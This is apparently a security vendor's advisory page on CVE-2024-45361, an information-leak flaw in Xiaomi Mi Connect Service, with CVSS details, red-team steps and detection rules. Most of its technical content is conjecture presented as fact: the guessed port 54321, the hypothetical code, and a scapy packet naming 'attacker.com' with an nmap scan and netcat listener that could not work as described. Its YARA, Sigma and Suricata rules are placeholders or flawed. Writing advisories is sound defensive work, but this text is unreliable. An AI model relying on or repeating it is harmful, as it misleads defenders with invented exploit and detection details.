CVE-2024-45361
Executive Summary
CVE-2024-45361 is a protocol flaw vulnerability in the Xiaomi Mi Connect Service application. The vulnerability stems from flawed validation logic within the service, allowing an attacker to leak sensitive user information. With a CVSS score of 6.5 (Medium), this vulnerability poses a significant risk to user privacy. The lack of a known patch and the absence of public exploit code or proof-of-concept (PoC) details make this a high-priority monitoring target for security teams. The vulnerability is exploitable over the network without authentication, making it accessible to remote attackers.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby). It is a proprietary application vulnerability in Xiaomi's Mi Connect Service. Therefore, supply chain package security analysis is not applicable.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low (L) - No special conditions or complex attack sequences are required.
- Privileges Required (PR): None (N) - No authentication is needed to exploit the vulnerability.
- User Interaction (UI): None (N) - The victim does not need to perform any action.
- Scope (S): Unchanged (U) - The impact is confined to the vulnerable component.
- Confidentiality (C): High (H) - Sensitive user information is leaked.
- Integrity (I): None (N) - No data modification is possible.
- Availability (A): None (N) - No denial of service impact.
Threat Level: Medium. The vulnerability allows for information disclosure but does not enable code execution or system compromise. The lack of a patch and the potential for data leakage make it a serious privacy concern.
Deep Dive & Mechanics
The Xiaomi Mi Connect Service is a proprietary application that facilitates communication between Xiaomi devices and cloud services. The vulnerability is rooted in a protocol flaw where the service fails to properly validate the identity or integrity of incoming data packets. This could be due to:
- Missing or Weak Authentication: The service may not require proper authentication for certain API endpoints or data streams.
- Improper Input Validation: The service may accept and process data without verifying its source or structure, allowing an attacker to inject malicious payloads.
- Insecure Deserialization: The service might deserialize untrusted data, leading to the exposure of internal objects or sensitive information.
An attacker can exploit this by sending specially crafted network packets to the Mi Connect Service. The flawed validation logic then processes these packets, inadvertently leaking sensitive user information such as device identifiers, account tokens, or personal data.
Vulnerable vs. Patched Code
Since no patch is available, a direct code comparison is not possible. However, based on the vulnerability description, the following hypothetical code snippets illustrate the flaw:
Vulnerable Code (Flawed Validation):
def process_packet(packet):
# No validation of packet source or integrity
data = packet.get_data()
# Directly process data without checking
return handle_data(data)
Patched Code (Hypothetical Fix):
def process_packet(packet):
# Validate packet signature and source
if not validate_signature(packet):
raise InvalidPacketError("Invalid signature")
if not is_trusted_source(packet.source):
raise UnauthorizedSourceError("Untrusted source")
data = packet.get_data()
# Sanitize and validate data before processing
sanitized_data = sanitize_input(data)
return handle_data(sanitized_data)
Exploitation & Lab Setup
Red Team (Offensive)
Objective: Leak sensitive user information from the Xiaomi Mi Connect Service.
Lab Setup:
- Target: A Xiaomi device running the vulnerable Mi Connect Service (e.g., a Xiaomi smartphone or IoT device).
- Attacker Machine: Kali Linux with network tools (e.g.,
nmap,netcat,scapy). - Network: Both devices on the same local network (or attacker can reach the target over the internet if the service is exposed).
Exploitation Steps:
- Discovery: Scan the network for devices running the Mi Connect Service (typically on port 54321 or similar).
nmap -p 54321 --open 192.168.1.0/24 - Craft Malicious Packet: Use a tool like
scapyto create a packet that exploits the flawed validation logic. The exact payload would depend on the specific protocol, but a generic example is:from scapy.all import * # Craft a packet with a spoofed source and malicious data packet = IP(dst="192.168.1.100")/TCP(dport=54321)/Raw(load="GET /sensitive_data HTTP/1.1\r\nHost: attacker.com\r\n\r\n") send(packet) - Capture Response: Listen for the response from the service, which may contain leaked information.
nc -lvnp 54321
Blue Team (Defensive)
Objective: Detect and prevent exploitation of CVE-2024-45361.
Detection Steps:
- Network Monitoring: Monitor for unusual traffic to/from the Mi Connect Service port (e.g., 54321).
- Anomaly Detection: Look for packets with unexpected payloads or patterns that deviate from normal protocol behavior.
- Log Analysis: Review application logs for errors related to validation failures or unauthorized access attempts.
Mitigation Steps:
- Network Segmentation: Isolate Xiaomi devices on a separate VLAN to limit exposure.
- Firewall Rules: Block inbound connections to the Mi Connect Service port from untrusted networks.
- Monitor for Updates: Continuously check for a patch from Xiaomi and apply it immediately when available.
Indicators of Compromise (IOCs)
- Network Traffic:
- Unusual packets sent to port 54321 (or the Mi Connect Service port) from external IPs.
- Packets with malformed headers or unexpected payloads.
- Outbound connections from the Xiaomi device to unknown IPs after receiving a malicious packet.
- System Logs:
- Application logs showing "validation failed" or "invalid packet" errors.
- Unexpected data in log entries that appear to be leaked user information.
- File System:
- Temporary files created by the service containing leaked data (e.g.,
/tmp/mi_connect_leak.txt).
- Temporary files created by the service containing leaked data (e.g.,
Detection Engineering
YARA Rule
rule CVE_2024_45361_MiConnect_Leak {
meta:
description = "Detects potential exploitation of CVE-2024-45361 in Xiaomi Mi Connect Service"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-45361"
strings:
$s1 = "MiConnectService" ascii wide nocase
$s2 = "sensitive_data" ascii wide nocase
$s3 = "leak" ascii wide nocase
condition:
any of ($s*) and filesize < 10MB
}
Sigma Rule
title: CVE-2024-45361 - Xiaomi Mi Connect Service Information Leak
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects network traffic indicative of exploitation of CVE-2024-45361
author: Valters IT
date: 2024/10/27
logsource:
category: network_connection
product: windows
detection:
selection:
DestinationPort: 54321
Initiated: 'true'
SourceIp: '192.168.1.0/24' # Adjust to your internal network
condition: selection
falsepositives:
- Legitimate Mi Connect Service traffic
level: medium
Suricata Rule
alert tcp $EXTERNAL_NET any -> $HOME_NET 54321 (msg:"CVE-2024-45361 - Xiaomi Mi Connect Service Exploit Attempt"; flow:to_server; content:"|00 01 02 03|"; depth:4; sid:1000001; rev:1;)
Note: The content pattern |00 01 02 03| is a placeholder. Replace with actual malicious payload bytes if discovered.
Remediation & Mitigation
Immediate Actions:
- Network Segmentation: Place Xiaomi devices on a separate VLAN with strict firewall rules.
- Disable Service: If not required, disable the Mi Connect Service on affected devices.
- Monitor Traffic: Enable logging and monitoring for the Mi Connect Service port.
Long-Term Fix:
- Apply Patch: Await an official patch from Xiaomi. Apply it immediately upon release.
- Update Firmware: Keep all Xiaomi devices updated to the latest firmware version.
- Vendor Communication: Contact Xiaomi support for updates on the patch status.
Compensating Controls:
- Web Application Firewall (WAF): If the service is exposed, use a WAF to filter malicious traffic.
- Intrusion Prevention System (IPS): Deploy IPS rules to block exploitation attempts.
- User Education: Advise users to avoid connecting Xiaomi devices to untrusted networks.
Valters IT
Securing Digital Frontiers